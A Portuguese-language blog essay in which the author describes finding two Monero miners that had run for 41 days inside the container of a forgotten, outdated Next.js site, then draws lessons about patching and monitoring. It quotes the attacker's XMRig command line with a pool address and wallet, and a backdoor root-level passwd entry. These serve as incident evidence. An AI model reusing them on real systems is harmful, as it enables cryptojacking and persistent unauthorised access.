Escrita · ensaio
Um mineiro de criptomoedas vivia no meu servidor há 41 dias
Abri o painel de monitorização e o servidor estava a 82% de RAM e 72% de CPU sem razão aparente. Puxei o fio e encontrei dois mineiros de Monero escondidos dentro de um site pequeno que fiz numa tarde e me esqueci. Isto é como aconteceu, e porque é que é tão fácil acontecer.
Estava a olhar para o Beszel, o painel onde vejo a saúde dos meus servidores, e uma linha não me deixava em paz: o servidor da OVH, aquele onde corro dezenas de coisas, marcava 82% de memória e 72% de CPU. O load, que é uma medida de quanta gente está à espera de vez no processador, estava em 10, numa máquina de 8 núcleos. Traduzindo: o servidor estava a arfar, com o dobro do trabalho que aguenta, e eu não tinha ligado nada de novo.
Já me tinha acontecido uma vez uma coisa parecida, e na altura era inocente: um serviço meu que acumulou lixo durante meses. Por isso liguei-me por SSH quase a bocejar, à espera de mais do mesmo. Não era.
A descida à toca do coelho
A primeira coisa que faço nestes casos é perguntar à máquina quem está a comer o processador. A resposta veio com dois nomes que me gelaram:
PID %CPU COMMAND
1752230 235 /tmp/.ICEi-unix/javae
1598360 72 /tmp/npm_update
Dois processos, juntos a puxar mais de 300% de CPU (sim, passa de 100%, porque contam vários núcleos ao mesmo tempo), com nomes escolhidos para eu não desconfiar. npm_update parece uma coisa normal de programador. javae, com um “e” a mais, parece Java. E estavam escondidos numa pasta chamada .ICEi-unix, um nome quase igual ao de uma pasta legítima do sistema (.ICE-unix), a diferença de uma letra a contar com a minha distração.
Fui ver o que era o npm_update na realidade. A linha de comando não deixava dúvidas:
/tmp/npm_update -a rx/0 -o 31.220.80.26:7777 \
-u 46RS6nKCGwRhndfpksLJomXuo4dZ7N9Afj3P1vHZxnwoQhHLw4yEzcocy1...ORDU_XMR \
-p x --background
Isto é um XMRig. É o mineiro de criptomoedas mais usado do mundo para minar Monero, uma moeda desenhada para ser privada e impossível de rastrear. O -o é o servidor da “pool” para onde ele envia o trabalho. O -u é a carteira do dono, para onde vai o dinheiro. E aquele ORDU_XMR no fim, com um número à frente, cheirava a numeração de vítimas: eu era mais uma máquina numa lista.
O segundo mineiro, o javae, era ainda mais descarado: tinha a sua própria configuração a apontar para outra pool e outra carteira. Ou seja, não era um atacante, eram provavelmente dois, ou o mesmo a garantir redundância. A minha máquina tinha sido loteada.
Quem é que os convidou a entrar
A pergunta óbvia: como é que isto entrou em casa? A resposta demorou dois minutos a doer.
Os dois mineiros não estavam soltos no servidor. Estavam dentro de um contentor, uma dessas caixas isoladas onde corro cada aplicação. E a caixa em questão era um site pequeno que eu próprio fiz há uns meses, numa tarde, com ajuda do assistente de código que uso todos os dias. Um site simples, umas páginas, uma base de dados, nada de especial. Fi-lo, publiquei-o, funcionou, e segui a vida.
O processo do site, o servidor web que responde aos visitantes, era literalmente o pai dos dois mineiros. Não foi um vírus que caiu do céu: foi o meu próprio site que, a certa altura, recebeu um pedido pela internet e, em vez de servir uma página, executou o código do atacante. A isto chama-se execução remota de código, o pesadelo de qualquer servidor: um estranho consegue mandar a tua máquina correr o que ele quiser.
E como é que conseguiram? O site estava feito em Next.js, uma framework muito popular, mas numa versão antiga (a 15.1.6). Essa versão tem uma falha crítica conhecida, com o nome de código CVE-2025-29927, classificada como 9.1 em 10 de gravidade. Em palavras simples: existe uma maneira de enganar o Next.js com um cabeçalho falso no pedido e passar por cima de toda a lógica de autenticação, como quem entra num prédio a dizer ao porteiro “eu já fui verificado lá em baixo” quando ninguém verificou nada. A falha foi corrigida na versão 15.2.3. A minha estava presa três versões atrás, exposta à internet, à espera.
Havia ainda um pormenor que me fez suster a respiração. Dentro do contentor, o atacante tinha deixado uma cópia do ficheiro de utilizadores do sistema com uma linha nova no fim:
pakchoi:x:0:0::/home/pakchoi:/bin/sh
Aquele 0:0 quer dizer utilizador com poderes de administrador total. Tinham criado uma conta-fantasma chamada pakchoi, um backdoor, uma porta das traseiras para voltarem a entrar mesmo que eu matasse os mineiros. Felizmente, isto estava tudo confinado à caixa do site. Verifiquei o servidor propriamente dito, o hospedeiro, e estava limpo: sem essa conta, sem mineiros, sem tarefas agendadas estranhas. A caixa estava comprometida, mas não tinha escapado para fora dela. Foi o único alívio da tarde.
O mais humilhante: os processos tinham data. Estavam a correr há 41 dias. Durante mês e meio, o meu servidor esteve a trabalhar para um estranho, e eu nem dei por nada até um número me saltar à cara num painel.
O elo que me interessa contar
Podia ficar por aqui, mas há uma parte desta história que me diz respeito de uma forma mais funda, e é a razão de estar a escrever isto.
Nunca foi tão fácil fazer um site. Sento-me, descrevo o que quero ao assistente de código, e numa tarde tenho uma aplicação real, com base de dados, a funcionar, publicada, com o seu endereço e o seu cadeado verde. É genuinamente mágico. Mas há uma parte que a magia esconde: um site publicado não é um desenho, é uma máquina viva, ligada ao sítio mais hostil que existe, a internet aberta. E essa máquina não se mantém sozinha.
A mesma facilidade que me deixa criar um site numa tarde deixa-me também esquecê-lo na tarde seguinte. Não corri as verificações de segurança das dependências. Não voltei lá para atualizar o Next.js quando saiu a correção. Não me perguntei se aquilo precisava mesmo de estar aberto ao mundo inteiro, ou se podia viver escondido. Publiquei e segui em frente, como quem planta uma coisa e nunca mais a rega. O assistente escreveu-me um bom código para o dia em que foi escrito, mas o código envelhece, o mundo descobre falhas novas, e a responsabilidade de manter aquilo vivo e são é minha, não da ferramenta.
Não é um argumento contra fazer sites assim. É um argumento a favor de tratar cada coisa que publico como aquilo que ela é: algo meu, que respira, e que preciso de vigiar e alimentar. A parte difícil da programação assistida já não é escrever o código. É lembrar-me de que, depois de publicado, o trabalho não acabou.
E a parte irónica: quanto é que isto rende?
Fiz as contas, mais por curiosidade do que por outra coisa. Aquele servidor, com o processador que tem, a minar Monero durante um dia inteiro a todo o gás, rende ao atacante qualquer coisa como dois a quatro cêntimos por dia. Cêntimos. Ao fim de um mês, se calhar um euro.
Ou seja: o tipo pôs o meu servidor a arfar, degradou tudo o que lá corre, arriscou tudo o que lá está, durante 41 dias, para ganhar trocos. E é aqui que se percebe o modelo do crime. Para ele, o custo é zero, porque a eletricidade, o desgaste e o risco são todos meus. E ele não tem uma máquina, tem centenas ou milhares, todas roubadas da mesma maneira automática: um robô varre a internet à procura de sites com aquela falha, larga o mineiro, e passa ao próximo sem sequer saber que máquina apanhou. Dois cêntimos vezes milhares de vítimas, todos os dias, sem pagar nada, já dá um salário.
Nós, as vítimas, somos só combustível barato. Nem sequer valemos a pena individualmente. Valemos em quantidade.
O que fiz, e o que levo disto
A limpeza em si foi rápida, uma vez percebido o quadro. Guardei provas de tudo primeiro (os binários, as configurações, o código do site) para poder analisar com calma. Depois parei a caixa comprometida, o que matou os dois mineiros de uma vez e fechou a porta a novas entradas. Em segundos, o load do servidor caiu de 10 para menos de 3, a memória respirou, e tudo o resto voltou ao normal. O site fica offline até eu o reconstruir de raiz, com a versão corrigida e sem confiar em nada do que lá estava.
O que levo disto, e que passo a fazer, cabe em poucas linhas:
- Atualizar é segurança, não manutenção chata. A falha que me apanhou estava corrigida há meses. Só não tinha ido lá buscar a correção.
- Só se expõe ao mundo o que tem mesmo de estar exposto. Muita coisa minha nem precisa de porta aberta para a internet; podia viver só na minha rede privada.
- Nada corre como administrador sem necessidade. Aquele contentor corria com poderes a mais, e foi isso que deixou o atacante criar a conta-fantasma.
- Monitorizar salvou-me. Sem o painel a mostrar-me aquele 82%, o mineiro ainda lá estava hoje. A seguir a isto fui logo pôr a minha NAS também no mesmo painel, porque o que não se mede não se vigia.
Já tinha escrito por aqui sobre montar um honeypot para ver a internet a atacar uma máquina de propósito. A ironia é que, enquanto brincava com iscos numa máquina, tinha um ataque a sério a decorrer noutra, há mais de um mês, à minha frente, escondido atrás de um número que eu não estava a ler. A internet não precisa de honeypots para mostrar que é hostil. Basta deixar um site esquecido ligado.